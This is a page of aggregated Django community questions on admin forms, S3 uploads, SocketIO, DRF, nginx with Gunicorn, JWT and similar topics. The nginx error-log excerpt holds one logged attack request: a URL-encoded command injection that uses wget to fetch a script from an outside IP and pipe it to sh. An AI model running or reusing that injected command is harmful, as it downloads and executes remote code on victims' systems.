Django community: RSS
This page, updated regularly, aggregates Django Q&A from the Django community.
-
Dynamic fields in django admin from __init__ form method
I have some models: class Variation(models.Model): name = models.CharField(max_length=100) def __str__(self): return self.name class VariationOption(models.Model): value = models.CharField(max_length=100) variation = models.ForeignKey(Variation, on_delete=models.CASCADE) def __str__(self): return self.value class BaseProduct(models.Model): name = models.CharField(max_length=100) variations = models.ManyToManyField(Variation, blank=True) class Product(models.Model): base_product = models.ForeignKey(BaseProduct, on_delete=models.CASCADE, null=True, blank=True) variation_options = models.ManyToManyField(VariationOption, null=True, blank=True) an admin form where i dynamically add fields in init method: class ProductAdminInlineForm(forms.ModelForm): class Meta: model = Product exclude = ['variation_options'] def __init__(self, base_product, *args, **kwargs): super(ProductAdminInlineForm, self).__init__(*args, **kwargs) if base_product: self.base_product = base_product variations = self.base_product.variations.all() for variation in variations: field_name = f'variation_{variation.id}' self.fields[field_name] = forms.ModelMultipleChoiceField( queryset=VariationOption.objects.filter(variation=variation), required=True, widget=forms.CheckboxSelectMultiple, label=variation.name ) here is my admin models: class ProductInline(admin.TabularInline): model = Product exclude = ['variation_options'] form = ProductAdminInlineForm class BaseProductAdmin(admin.ModelAdmin): model = BaseProduct list_display = ['__str__'] inlines = [ProductInline] def get_formset_kwargs(self, request, obj, inline, prefix, **kwargs): return { **super().get_formset_kwargs(request, obj, inline, prefix), 'form_kwargs': {"base_product": obj}, } I'm trying to retrieve dynamic fields that i declare in ProductAdminInlineForm init method in the admin page but it look like ProductInline doesn't call init to retrieve form fields. How can i achieve this ? I tried to overrides get_fields and get_fieldset method in ProductInline class: def get_fieldsets(self, request, obj=None): fieldsets = super(ProductInline, self).get_fieldsets(request, obj) if … -
Unable to Upload Files to S3 from Django on Amazon Lightsail, Despite Working Fine Locally with Same Credentials and Policy
I'm running into an issue where I can successfully upload files to my S3 bucket locally, but I encounter problems when trying to upload from my server. Here are the details: Django Settings Settings.py (relevant parts): STATIC_URL = "https://my-cdn.s3.amazonaws.com/static/" STATICFILES_STORAGE = env("STATICFILES_STORAGE") AWS_ACCESS_KEY_ID = env("AWS_ACCESS_KEY_ID") AWS_SECRET_ACCESS_KEY = env("AWS_SECRET_ACCESS_KEY") AWS_STORAGE_BUCKET_NAME = env("AWS_STORAGE_BUCKET_NAME") AWS_S3_REGION_NAME = env("AWS_S3_REGION_NAME") DEFAULT_FILE_STORAGE = env("DEFAULT_FILE_STORAGE") MEDIA_URL = env("MEDIA_URL") S3 Policy: { "Version": "2012-10-17", "Statement": [ { "Sid": "PublicReadGetObject", "Effect": "Allow", "Principal": "*", "Action": "s3:GetObject", "Resource": "arn:aws:s3:::my-cdn/*" }, { "Sid": "AllowPutObject", "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam::id:user/my-cdn" }, "Action": "s3:PutObject", "Resource": "arn:aws:s3:::my-cdn/*" } ] } Issue: Local Environment: Uploading files to the S3 bucket works perfectly. Amazon Lightsail Server: Uploads fail (No logs whatsoever), but the credentials and policy are the same. -
Django SocketIO Connection Fails After RDS Restart – How to Handle Database Connectivity Issues?
I'm developing a Django application using SocketIO for real-time communication, and I'm encountering an issue where SocketIO connections fail after an RDS (Relational Database Service) restart, while my Django HTTP APIs continue to work fine. Problem Description My Django application integrates with SocketIO for real-time features. After an RDS instance restart, the HTTP APIs function normally, but SocketIO connections encounter issues and fail to access database models. Specifically, I get errors related to database connectivity when attempting to handle SocketIO connections. Code Snippets Here's how I configure my ASGI application and handle SocketIO connections: ASGI Configuration (asgi.py): import os from django.core.asgi import get_asgi_application import socketio from backend.socketio import socketio_server os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'backend.settings.dev') django_asgi_app = get_asgi_application() application = socketio.ASGIApp(socketio_server=socketio_server.socketio_server, other_asgi_app=django_asgi_app) SocketIO Connection Handler: async def on_connect(self, sid: str, environ: dict): try: query_string = environ['asgi.scope']['query_string'] token, chat_id = get_token_chat_id_from_query(query_string=query_string) if not token or not chat_id: raise ConnectionRefusedError("Invalid connection parameters.") user = await get_user_from_token(token=token) chat_obj = await get_chat_from_id(chat_id=chat_id, user=user) await update_all_chat_redis(chat_obj=chat_obj) async with self.session(sid=sid, namespace=self.namespace) as session: session['user_id'] = user.id session['chat_id'] = chat_obj.machine_translation_request_id await self.enter_room(sid=sid, room=chat_id) except ConnectionRefusedError as e: logger.error(f"Connection refused: {e}") raise except UserErrors as exc: logger.error(f"User error: {exc.message}") raise ConnectionRefusedError(exc.message) except Exception as e: logger.error(f"Unexpected error: {e}") raise ConnectionRefusedError("An unexpected error … -
return render(request,"includes/properties.html",{'property':property,'image':image}) NameError: name 'image' is not defined
images = request.FILES.getlist('images') global image for image in images: image = PropertyImage.objects.create(image = image,property = property) return render(request,"includes/properties.html",{'property':property,'image':image}) -
DRF Response field shows List of String with backslashes
I'm creating Polls feature using DRF where users can create a poll. The Response object in postman for the 'options' field shows the List of strings with backslashes. Here is the Postman response : { "id": 17, "question": "Who will win the Fifa World Cup 2026 in USA ?", "options": "[\"Germany\",\"Argentina\",\"France\",\"Italy\",\"Brazil\",\"None of the above\"]", } My code which gives the above result : //views.py// class Polls(APIView): permission_classes = (IsAuthenticated,) def put(self, request): request_data = request.data.dict() serializer = PollPostRequestSerializer(data=request_data, context={"request": request}) serializer.is_valid(raise_exception=True) data = serializer.validated_data question = data.get('question') options = data.get('options') Poll = get_poll_model() poll = Poll.create_poll(question=question, options=options) poll_serialized = PollPostResponseSerializer(poll, many=False, context={"request": request}).data return Response(poll_serialized, status=status.HTTP_200_OK) //Request serializer// class PollPostRequestSerializer(serializers.Serializer): question = serializers.CharField(max_length=1000, required=True, allow_blank=True, allow_null=False) options = serializers.CharField(max_length=1000, required=True, allow_blank=True, allow_null=False) //Response serializer// class PollPostResponseSerializer(serializers.ModelSerializer): class Meta: model = PollPost fields = ( 'id', 'question', 'options', ) //models.py// class PollPost(models.Model): question = models.TextField(blank=False, null=False) options = models.TextField(blank=False, null=False) @classmethod def create_poll(cls, question, options): return cls.objects.create(question=question,options=options) My purpose is to get the Response object without the backslashes. Help appreciated. -
Django Grappelli Custom Dashboard not showing App Models
Django 5.0.1 & Grappelli v4.01 Have site running on local runserver host and the custom dashboard works as expected. Site has been pushed to Azure as an App Service. The custom dashboard only shows the Groups, Sites and Users Models from auth. I am logging in as a superuser in both cases and both the local runserver and app service instances are pointed to the same backend database on Azure. I suspect permissions but not sure why the core models appear but the app based ones don't on the App Service. What am I missing? thanks in advance. -
Youtube transcript API not working on server
I have a Django web app. This code works perfectly fine on localhost but stops working when I run it on cloud (DigitalOcean) App Platform. from youtube_transcript_api import YouTubeTranscriptApi, TranscriptsDisabled, NoTranscriptFound, VideoUnavailable def transcribe(video_url): video_id = video_url.split("v=")[-1] logger.debug("Extracted video ID: %s", video_id) try: transcript_list = YouTubeTranscriptApi.list_transcripts(video_id) transcript = None for transcript_info in transcript_list: try: transcript = transcript_info.fetch() break except Exception as e: logger.warning("Error fetching transcript: %s", e, exc_info=True) continue if transcript is None: logger.error("No transcripts available for this video.") return "No transcripts available for this video." except TranscriptsDisabled as e: logger.error("Transcripts are disabled for this video. %s", e, exc_info=True) return "Transcripts are disabled for this video." except NoTranscriptFound: logger.error("No transcript found for this video.") return "No transcript found for this video." except VideoUnavailable: logger.error("Video is unavailable.") return "Video is unavailable." except Exception as e: logger.error("Error in fetching transcript: %s", e, exc_info=True) return "Error in fetching transcript." # Concatenate all text from the transcript into a single string transcription_text = ' '.join([item['text'] for item in transcript]) logger.debug("Transcription text (first 50 characters): %s", transcription_text[:50]) return transcription_text The part that throws an exception is the line transcript_list = YouTubeTranscriptApi.list_transcripts(video_id). And it throws a TranscriptsDisabled exception, saying that Transcripts are disabled for this video. … -
How should I learn Django? [closed]
I have tried learning Django in the way I was learning Flask. Looking into documentation and googling phrases like 'Django user', but I find it a lot harder to get what I want. Google shows me links to documentation where there is some info about the topic and a lot of information about anything related. For example when I tried looking for how to implement User model to project I found django.contrib.auth.models - User and links to authentication, but a bit later looking for some examples I found AbstractUser, which I didn't see on the page of documentation I were on... so my question is how should I learn Django? Should I follow some tutorials instead of what I am doing now (trying to make a webpage along learning from documentation)? What is the best way to learn Django? -
Django/NGINX - CSRF verification failed in production on a 3g-enabled device
My django app works perfectly fine on other devices with 4G connectivity. Trying to sign up or login on a device with only 3G capability throws the CSRF verification failed error. Any idea why that is? I'm also using Cloudflare to configure/manage the domain name server. Thanks. I already looked through the settings file (mostly following the docs) but don't wanna to break anything that's already working. Here's my NGINX config: upstream app_server { server unix:/tmp/gunicorn.sock fail_timeout=0; } server { listen 80; client_max_body_size 4G; # add here the ip address of your server # or a domain pointing to that ip (like example.com or www.example.com) server_name jovimifah.com www.jovimifah.com; keepalive_timeout 5; access_log /home/vickerdent/logs/nginx-access.log; error_log /home/vickerdent/logs/nginx-error.log; location /static/ { root /home/vickerdent/shop-central; } # checks for static file, if not found proxy to app location / { try_files $uri @proxy_to_app; } location @proxy_to_app { proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_redirect off; proxy_pass http://app_server; } } Also, CSRF_COOKIE_SECURE and SESSION_COOKIE_SECURE are True. -
how to write swagger base on serializer class in django to if we change fields, no need to edit swagger manually
I have end point in Django and I use DRF. I want to swagger generate document base on serializer class but I dont know how to do that. I prompt with chat gpt but there is no solution that i can find and every time generate swagger code with OpenAPI with manual parameters. I give you guys some example of my codes and appreciate to help me. before this view, if I dont have serializer, I write manually with @swagger_auto_schema and give parameters and reponses code manual. please note that I'm new in web development. thanks. class MemberListView(CustomPagedListView, ListAPIView): """ Provides the Organization Member list """ permission_classes = [UserIsOrganizationAdmin] serializer_class = OrganizationMemberRawSerializer page_size = 10 def get_queryset(self): try: query, include_contracts = self.create_query(self.request.GET) sort_by = self.request.GET.get("sort", "name") if include_contracts: organization_members = ( OrganizationMember.existing_objects.prefetch_related( "contracts" ).filter(query) ).distinct() else: organization_members = OrganizationMember.existing_objects.filter( query ).distinct() str_field = self.request.GET.get("query", "").lower() rate = self.request.GET.get("rate", "").strip() if str_field + rate == "": return self.sort_data(organization_members, sort_by) selected_organization_member_ids = [] for item in organization_members: if ( str_field != "" and rate != "" and self.check_str_field_found(item, str_field) and self.check_rate_filter(item, rate) ): selected_organization_member_ids.append(item.id) if ( str_field != "" and rate == "" and self.check_str_field_found(item, str_field) ): selected_organization_member_ids.append(item.id) if ( str_field == … -
django.urls.exceptions.NoReverseMatch error while trying to use reverse
I have a problem with reverse function in Django. In my project I have an app called posts and I am trying to test it. class PostListViewTest(TestCase): def test_future_post_list(self): post = create_post('Future', 2) response = self.client.get(reverse('posts:all')) self.assertEqual(response.status_code, 200) self.assertContains(response, "No posts available") self.assertQuerySetEqual(response.context['posts_list'], []) In main urls.py I have from django.conf import settings from django.contrib import admin from django.urls import include, path from django.conf.urls.static import static urlpatterns = [ path('admin/', admin.site.urls), path('posts/', include("posts.urls")), path('aboutme/', include("aboutme.urls")) ] urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT) in posts/urls.py I have # urls.py from django.urls import path from . import views # Ensure this import is correct urlpatterns = [ path("allposts/", views.AllPostsView.as_view(), name="all"), path("<int:pk>/", views.PostDetailView.as_view(), name="detail") ] but when I am trying to run tests I get django.urls.exceptions.NoReverseMatch: 'posts' is not a registered namespace when I use reverse('all') instead of reverse('posts:all') everything works perfectly Tried to catch typos but didn't fount them -
Django Rest Framework Serializer Not Applying Model Field Defaults
I'm working on a simple Django project from drf documentation where I have a Snippet model that uses the pygments library to provide language and style options for code snippets. I've set default values for the language and style fields in my model, but when I try to serialize this model using Django Rest Framework (DRF), the default values don't seem to be applied while running server. # models.py from django.db import models from pygments.lexers import get_all_lexers from pygments.styles import get_all_styles LEXERS = [item for item in get_all_lexers() if item[1]] LANGUAGES = sorted([(item[1][0], item[0]) for item in LEXERS]) STYLES = sorted([(style, style) for style in get_all_styles()]) class Snippet(models.Model): title = models.CharField(max_length=50, blank=True, default="") linenos = models.BooleanField(default=False) code = models.TextField() language = models.CharField(choices=LANGUAGES, default="python", max_length=50) style = models.CharField(choices=STYLES, default="monokai", max_length=50) created_at = models.DateTimeField(auto_now_add=True) updated_at = models.DateTimeField(auto_now=True) class Meta: ordering = ["updated_at"] #serializers.py from rest_framework import serializers from .models import Snippet class SnippetSerializer(serializers.ModelSerializer): class Meta: model = Snippet fields = "__all__" def get_initial(self): initial = super().get_initial() or {} initial["language"] = Snippet._meta.get_field("language").get_default() initial["style"] = Snippet._meta.get_field("style").get_default() print(initial) return initial {'title': '', 'linenos': False, 'code': '', 'language': 'python', 'style': 'monokai'} {'title': '', 'linenos': False, 'code': '', 'language': 'python', 'style': 'monokai'} but when I run server … -
Join tables and retrieve columns in Django
I have two tables (with corresponding models): Mapping id parent_id child_id child_qty 1 1 1 5 2 1 2 3 3 1 4 4 4 2 1 3 5 2 3 2 Child id name property 1 name1 prop1 2 name2 prop2 3 name3 prop3 4 name4 prop4 Note: in Mapping model, 'child' is defined as a ForeignKey on Child model, that automatically creates 'child_id' in Mapping table. I want to write a join: SELECT mt.child_id, mt.child_qty, ct.name, ct.property FROM mapping mt, child ct WHERE mt.parent_id = 1; that gives result: child_id child_qty name property 1 5 name1 prop1 2 3 name2 prop2 4 4 name4 prop4 I wrote this: my_qs = Mapping.objects.select_related('child').filter(parent_id=1).values() print(my_qs) # [{'id':1, 'parent_id': 1, 'child_id': 1, 'child_qty': 5}, # {'id':2, 'parent_id': 1, 'child_id': 2, 'child_qty': 3}, # {'id':3, 'parent_id': 1, 'child_id': 4, 'child_qty': 4}] What do I modify in my ORM query so that: I don't see 'id' and 'parent_id' in the output I see 'ct.name and ct.property' in the output (with our without 'ct.' prefix) -
Writing the test case for the ProfileAPI
def test_get_people_profile(self): response = self.client.get(self.url)` self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertTrue(response.data.get('success')) self.assertEqual(response.data['data']['mobile'], self.people.mobile) self.assertEqual(response.data['data']['date_of_birth'], self.people.date_of_birth) This is the error: self.assertEqual(response.data['data']['mobile'], self.people.mobile) KeyError: 'mobile'. This is the error I am facing to verify that the API correctly returns the user's profile details. -
I'm doing cs50w project 1 and in having problems with the editing entries part
Whenever I want to edit a page it tells me page not found My edit function def edit(request, entry): if request.method == 'GET': content = util.get_entry(entry) if content is None: return HttpResponseNotFound('No such page') return render (request, "encylcopedia/edit.html", { "content": content, "title": entry }) elif request.method == 'POST': form = request.POST title = form.get['title'] content = form.get['content'] util.save_entry(title, content) return HttpResponseRedirect(reverse('wiki:page', kwargs={'entry':title})) my url path path("edit/<str:entry", views.edit, name="edit") my edit.html template {% extends "encyclopedia/layout.html" %} {% block title %} Encyclopedia {% endblock %} {% block body %} Edit Page {% csrf_token %} Title Content {{ content }} {% endblock %} The util.get_entry function def get_entry(title): """ Retrieves an encyclopedia entry by its title. If no such entry exists, the function returns None. """ try: f = default_storage.open(f"entries/{title}.md") return f.read().decode("utf-8") except FileNotFoundError: return None whats the problem because when i try to edit an entry that already exists it tells me the page does not exist expecting to be redirected to a form with the entry content populated in the form where I can edit it. -
How to secure api hosted in a docker conatiner,served by nginx proxy behind a loadbalancer in AWS EC2 from brute force attack
my micro frontend is hosted in amplify, my api i hosted in a docker container in EC2 behind a loadbalancer and the api is served by nginx reverse proxy. I had an incident that someone got my auth token and was sending automated request to all my heavy api endpoints causing my system to go slow. i have implemented rate limiting and fail2ban in nginx configuration but i am still not sure if that is secure enough. my team is working on human verification if someone sends request to the api server in continuous basis. can you please suggest what will be the best approach to prevent my api getting bruteforced ##note## api is built in python django, i know there is better way to build apis but i was inducted in the middle of the project I want to know best way to secure my api , please feel free to suggest what you think is the best apporach. I will reconsider the approach if its best and feseable. thank you -
Django allauth social login issue
I'm implementing social login using Facebook and LINE, but I'm facing a couple of issues: Facebook Login Issue: After clicking the Facebook login button and entering the password to log in, the flow should ideally end there. However, I am redirected to an email input page, and even after entering the email, I get an error saying "Failed to create a unique username." LINE Login Issue: The LINE login works, but when I check the admin panel, the email field under the account section is empty. However, the email field does exist in the social login account. Could someone help me understand why these issues are occurring and how to resolve them? Any guidance would be greatly appreciated! # users/adapters.py from allauth.socialaccount.adapter import DefaultSocialAccountAdapter from allauth.account.utils import user_email from django.utils.crypto import get_random_string from .models import User class CustomSocialAccountAdapter(DefaultSocialAccountAdapter): def populate_user(self, request, sociallogin, data): user = super().populate_user(request, sociallogin, data) email = user_email(user) if email: user.username = email else: provider = sociallogin.account.provider uid = sociallogin.account.uid user.username = f"{provider}_{uid}" while User.objects.filter(username=user.username).exists(): user.username = f"{user.username[:25]}_{get_random_string(5)}" return user # settings/base.py ACCOUNT_EMAIL_VERIFICATION = 'none' ACCOUNT_AUTHENTICATION_METHOD = 'email' ACCOUNT_EMAIL_REQUIRED = True ACCOUNT_USERNAME_REQUIRED = False ACCOUNT_USER_MODEL_USERNAME_FIELD = 'username' ACCOUNT_ADAPTER = 'allauth.account.adapter.DefaultAccountAdapter' SOCIALACCOUNT_ADAPTER = 'users.adapters.CustomSocialAccountAdapter' import uuid SOCIALACCOUNT_PROVIDERS = … -
Could not parse some characters: |(total/4)||floatformat:2
<td> {% with data.marks1|add:data.marks2|add:data.marks3|add:data.marks4 as total %} {{ (total/4)|floatformat:2 }} {% endwith %} I am making a simple crud application in Django and em repeatedly getting this error. Anything I do does not resolve this error -
Django- if I make a post it crashes my website
I am creating a Recipe app- if the user saves a new recipe I get the error: django.urls.exceptions.NoReverseMatch: Reverse for 'recipes-detail' with arguments '('b4f97aee-4989-494e-ab9d-ce1af77a7f4d',)' not found. 1 pattern(s) tried: ['recipe/(?P<pk>[0-9]+)/\\Z'] If I go into the admin and delete the recipe- the website works again. Here is my path from urls.py: path('recipe/<int:pk>/', views.RecipeDetailView.as_view(), name="recipes-detail"), These are the relevant models for the form: class Recipe(models.Model): title = models.CharField(max_length=100) description = models.TextField() author = models.ForeignKey(User, on_delete=models.CASCADE) serving = models.PositiveIntegerField(default=1) temperature = models.PositiveIntegerField(default=1) prep_time = models.PositiveIntegerField(default=1) cook_time = models.PositiveIntegerField(default=1) tags = models.ManyToManyField('Tag') created_at = models.DateTimeField(auto_now_add=True) updated_at = models.DateTimeField(auto_now=True) id = models.CharField(max_length=100, default=uuid.uuid4, unique=True, primary_key=True, editable=False) is_private = models.BooleanField(default=True) def get_absolute_url(self): return reverse('recipes-detail', kwargs={"pk": self.pk}) def __str__(self): return str(self.title) class Meta: ordering = ['-created_at'] class Image(models.Model): recipe = models.ForeignKey( Recipe, on_delete=models.CASCADE, null=True ) image = models.ImageField(blank=True, upload_to='images') def __str__(self): return self.recipe.title class VariantIngredient(models.Model): recipe = models.ForeignKey( Recipe, on_delete=models.CASCADE ) ingredient = models.CharField(max_length=100) quantity = models.PositiveIntegerField(default=1) unit = models.CharField(max_length=10, choices=unit_choice, default='g') def __str__(self): return self.recipe.title This is my detail view from views.py: class RecipeList(ListView): model = models.Recipe template_name = "recipes/a_recipes/home.html" context_object_name = "recipes" This is the offending part of my template which keeps erroring: <a href="{% url 'recipes-detail' recipe.pk %}" class="text-center bg-blue-600 text-blue-800 py-2 rounded-lg font-semibold … -
Nginx Unable to Connect to Gunicorn Socket
I am facing an issue with my Nginx and Gunicorn setup on my Ubuntu server, and I would greatly appreciate your assistance in resolving it. Issue Details: I have configured Nginx to connect to Gunicorn using a Unix socket located at /run/gunicorn.sock. However, Nginx is repeatedly failing to connect to this socket, as indicated by the error logs. Below are the relevant error messages from the Nginx log: 2024/08/21 20:42:42 [crit] 1706#1706: *1 connect() to unix:/run/gunicorn.sock failed (2: No such file or directory) while connecting to upstream, client: 5.195.239.46, server: 3.28.252.207, request: "GET / HTTP/1.1", upstream: "http://unix:/run/gunicorn.sock:/", host: "3.28.252.207" 2024/08/21 20:42:47 [crit] 1705#1705: *3 connect() to unix:/run/gunicorn.sock failed (2: No such file or directory) while connecting to upstream, client: 185.224.128.83, server: 3.28.252.207, request: "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.18.196%3A88%2Ft%7Csh%3B%60) HTTP/1.1", upstream: "http://unix:/run/gunicorn.sock:/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.18.196%3A88%2Ft%7Csh%3B%60)", host: "3.28.252.207:80" 2024/08/21 20:46:09 [error] 1706#1706: *5 recv() failed (104: Connection reset by peer) while reading response header from upstream, client: 5.195.239.46, server: 3.28.252.207, request: "GET / HTTP/1.1", upstream: "http://unix:/run/gunicorn.sock:/", host: "3.28.252.207" 2024/08/21 20:46:10 [error] 1706#1706: *5 connect() to unix:/run/gunicorn.sock failed (111: Connection refused) while connecting to upstream, client: 5.195.239.46, server: 3.28.252.207, request: "GET / HTTP/1.1", upstream: "http://unix:/run/gunicorn.sock:/", host: "3.28.252.207" Socket Creation & Permissions: I have verified that Gunicorn is correctly configured … -
How to split a form into several divs but the first div has another form?
page scheme here in the picture, the first form is highlighted in black, the second in red. divs are highlighted in orange. So, I need something like that: <form1> <div> text area submit <form2> text area </form2> </div> <div> text area </div> </form1> But that does not work because django just makes the second form a part of the first one -
Faced this error on PyCharm when I tried to run my project on server. Can someone help me with it?
enter image description here [btw I have already installed Django PyCharm] Tried to run my project on web server but not working for some reason. I believe it has something to do with the directory. For some reason PyCharm can't find Django in my project. -
Django NameError: name XXXX is not defined
Here is the error from the error log file in Elastic Beanstalk: File "/var/app/current/content/admin.py", line 5, in <module> class CoursesAdmin(admin.ModelAdmin): File "/var/app/current/content/admin.py", line 6, in CoursesAdmin form = CoursesAdminForm ^^^^^^^^^^^^^^^^ NameError: name 'CoursesAdminForm' is not defined I had a hard time getting this to work on my localhost, which is working perfectly now, but 'EB deploy' is failing and giving me the above error. Here is the relevant admin.py code: from django.contrib import admin from .models import Courses from .forms import CoursesAdminForm class CoursesAdmin(admin.ModelAdmin): form = CoursesAdminForm list_display = ('courseName', 'languagePlan', 'level', 'active', 'tdColour') And here is the relevant code from the content.forms.py file: from django import forms from .models import Courses, LanguagePlan class CoursesAdminForm(forms.ModelForm): languageplanqueryset = LanguagePlan.objects.all() courseName = forms.CharField(label='Course Name', max_length=255) languagePlan = forms.ModelChoiceField(required=True, queryset=languageplanqueryset, empty_label="Select One", to_field_name= "id") level = forms.IntegerField(label='Level') active = forms.BooleanField(label='Active', initial=True) tdColour = forms.CharField(label='TD Colour', max_length=80) class Meta: model = Courses fields = ('courseName', 'languagePlan', 'level', 'active', 'tdColour') I am really at a loss here. It is working just fine on localhost, and this error is very difficult to troubleshoot with the log not giving any clues. -
Updating object attribute from database in Django
Let's say I have a model representing a task: class Task(models.Model): on_status = models.BooleanField() def run(self): # obj = Task.objects.get(id=self.pk) # self.on_status = obj.on_status if self.on_status: # do stuff I run this task with Celery and I have a dashboard running on Gunicorn both using the same database. app = Celery("app") app.conf.beat_schedule = { "run_task": { "task": "run_tasks", "schedule": 5.0, "options": { "expires": 6.0, }, }, } tasks = Task.objects.all() @app.task def run_tasks(): for task in tasks: task.run() I can change on_status from my dashboard, but then I need to update self.on_status of the instance inside Celery process. I could create a new instance with get() and read value from that, but it doesn't seem right. Is there a command to update attribute value from database or is there a different approach? -
I'm using simple JWT for authentication in DRF project. when i try to access that api it showing bad_authorization_header
I am using simple jwt for my django rest framework project. I tried accessing using barrier token in postman it shows this error { "detail": "Authorization header must contain two space-delimited values", "code": "bad_authorization_header" } My settings file code REST_FRAMEWORK = { 'DEFAULT_AUTHENTICATION_CLASSES': ( 'rest_framework_simplejwt.authentication.JWTAuthentication', ), } SIMPLE_JWT = { "ACCESS_TOKEN_LIFETIME": timedelta(days=15), "REFRESH_TOKEN_LIFETIME": timedelta(days=1), "ROTATE_REFRESH_TOKENS": True, "AUTH_HEADER_TYPES": ('Bearer',), "AUTH_TOKEN_CLASSES": ("rest_framework_simplejwt.tokens.AccessToken", ) } views file code @api_view(['GET']) @permission_classes([IsAuthenticated]) def all_users(request): users = CustomUser.objects.all().order_by('id') serializers = UserSerializer(users, many=True) return Response({ 'All users':serializers.data }, status.HTTP_200_OK) in postman my input for Bearer token was like Bearer < access token >